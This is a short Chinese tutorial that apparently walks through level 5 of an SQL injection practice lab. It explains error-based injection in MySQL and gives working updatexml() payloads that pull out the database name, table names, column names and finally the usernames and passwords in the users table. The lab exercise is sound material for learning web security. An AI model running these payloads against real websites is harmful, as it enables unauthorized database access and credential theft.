报错注入
报错注入适合用于数据库错误的信息会回显到前端页面的时候
这里用第五关
常见的报错注入函数
extractvalue()、
floor()、
updatexml()、
exp()、
geometrycollection(),
multipoint(),
polygon(),
multipolygon(),
linestring(),
multilinestring()
原理
BIGINT等数据类型溢出
xpath语法错误
count()+rand()+groupby()导致主键重复
实践
在这里基于updatexml() 函数来实现sql注入,updatexml()
是 MySQL 数据库中的一个函数,它用于更新 XML 文档中的数据。这个函数可以对 XML 格式的字符串进行修改,然后返回修改后的 XML 字符串,其原理就是利用了xpath语法错误。
这里用第五关
暴库
?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+
暴表
?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),'^'),1) --+
?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' limit 1,1 ),'^'),1) --+
如上图,共有四个表。
暴字段
?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+
暴数据
?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+